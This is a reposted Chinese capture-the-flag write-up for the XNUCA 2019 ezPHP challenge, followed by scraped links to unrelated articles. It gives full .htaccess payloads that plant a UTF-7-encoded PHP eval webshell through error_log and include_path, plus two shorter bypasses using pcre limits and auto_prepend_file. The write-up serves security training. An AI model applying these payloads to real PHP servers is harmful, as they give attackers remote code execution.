XNUCA 2019ezPHP
ezPHP
源码很简单(感觉越简单的源码越不好搞),一个写文件的功能且只能写文件名为[a-z.]*
的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess
里面auto_prepend_file
等php_value。
我们的解法
经测试,最后一行导致的.htaccess
报错的问题可以通过#
来解决。
该文件中有一处include('fl3g,php')
,该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess
的选项可以利用?
翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL
即PHP_INI_PERDIR
的配置项,我们可以注意到这样一个选项include_path
.
因此只要控制include_path
便可以使这里include进来的fl3g.php
可以是任意目录下的某个文件,那么怎样才能控制fl3g.php
的内容?查找所有php log相关的功能可以看到error_log
这一选项
所以我们的思路便很清晰了:利用error_log写入log文件到/tmp/fl3g.php
,再设置include_path=/tmp
即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path
到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
然而很不幸的是error_log的内容默认是htmlentities
的,我们无法插入类似<?php phpinfo();?>
的payload。那么怎么才能绕过这里的转义?
查找最近的比赛我们可以发现一篇writeupInsomnihack 2019 I33t-hoster)
这便给了我们启示可以通过设置编码来绕过限制从而getshell.
因此最后的攻击方法如下:
- Step1 写入
.htaccess
error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#
- Step2 访问index.php留下error_log
- Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#
- Step4 再访问一次
index.php?2=evilcode
即可getshell.
其他非预期解
赛后得知我们的解法是全场唯一的正解,此外还存在两个非预期
非预期1
设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
非预期2
只能说这个非预期为啥我没有想到
php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?>
转载: https://www.anquanke.com/post/id/185377
XNUCA 2019ezPHP的更多相关文章
- X-NUCA 2017 web专题赛训练题 阳光总在风雨后和default wp
0X0.前言 X-NUCA 2017来了,想起2016 web专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让CTFer们好感受一下题目. 题目有一大 ...
- [XNUCA 进阶篇](web)writeup
XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...
- X-NUCA联赛WEB赛前指导write-up
第一关 审查代码发现有隐藏的连接,访问,flag一闪而过.打开burpsuite,设置好代理,然后重新访问,在历史里找相应的回复包,得到flag. 第二关 审查元素 修改按钮为可用 抓获一个POST包 ...
- [xnuca](web)xblog
session会话机制介绍如下 http是无状态协议.服务器靠cookie和session来记住用户.$_SESSION 和 $_GET等一样,是超全局变量. 后台脚本里面会写: session() ...
- 全国高校网安联赛Web专场~WriteUp
1.Sign 题目:Good Luck!flag{X-nuca@GoodLuck!} Flag直接写在题目上了,flag{X-nuca@GoodLuck!} 2.BaseCoding 提示:这是编码不 ...
- 2017湖湘杯复赛writeup
2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA 和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...
- RabbitMQ与Spring的框架整合之Spring Boot实战
1.RabbitMQ与Spring的框架整合之Spring Boot实战. 首先创建maven项目的RabbitMQ的消息生产者rabbitmq-springboot-provider项目,配置pom ...
- 刷题记录:[XNUCA2019Qualifier]EasyPHP
目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...
- BUU刷题01
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...
随机推荐
- CSS-W3School:CSS table-layout 属性
ylbtech-CSS-W3School:CSS table-layout 属性 1.返回顶部 1. CSS table-layout 属性 CSS 参考手册 实例 设置表格布局算法: table { ...
- Navicat Premium Mac 12 破解方法-亲测成功
参照这2篇文档,破解成功了.操作步骤写的很清楚,不再缀述,只记录一下自己破解过程中,认为要注意的点.以免以后再多花时间熟悉重新熟悉操作步骤 Mac安装Navicat(破解版) Navicat Prem ...
- Collector的使用
一.Collector的引入 1)Collector的聚合作用前面已经使用过,将list.stream后的一系列操作之后再返回list. 2)Collector的引入,通过需求:将绿色的Apple放在 ...
- Vue中的model
v-model语法糖: model: 默认情况下,一个组件上的 v-model 会把 value 用作 prop 且把 input 用作 event, 但是一些输入类型比如单选框和复选框按钮可能想使用 ...
- 阶段3 1.Mybatis_05.使用Mybatis完成CRUD_6 Mybatis的CRUD-保存操作的细节-获取保存数据的id
保存后得到id 默认查询出来的是0,因为没有插入就要得到最后的id值. insert语句跟在前面就可以获取到id了 新插入的这条数据就是51 order=after表示在insert语句后再去获取id ...
- wsl 下安装docker
docker for windows本身其实是可以直接用的,但是仍然有很多不足,比如说:权限问题.没有docker.sock文件.文件编码问题等.而win10自带的wsl可以非常完美地解决这些问题. ...
- redis4支持内存碎片清理功能使用
最近看到redis4支持内存碎片清理了, 之前一直期待有这么一个功能, 因为之前遇到内存碎片的解决办法就是重启, 现在终于有了优雅的解决方案.\^o^/, 这个功能其实oranagra 在2017年1 ...
- cocos2dx基础篇(21) 进度条CCProgressTimer
[3.x] (1)去掉 "CC" (2)CCProgressTimerType 改为强枚举 ProgressTimer::Type:: // RADIAL //扇形进度计时器 BA ...
- 机器学习实战-Logistics回归
Logistics回归:实战,有两个特征X0,X1.100个样本,进行Logistics回归 1.导入数据 def load_data_set(): """ 加载数据集 ...
- Ubuntu 16.04系统挂载4T硬盘
问题描述: Ubuntu 16.04系统,系统盘为240G固态硬盘,还有1T机械硬盘,现要再添加一个4T硬盘. 问题分析: 使用GTP对硬盘进行分区并挂载硬盘的方法,一般而言服务器上挂载的硬盘都是比较 ...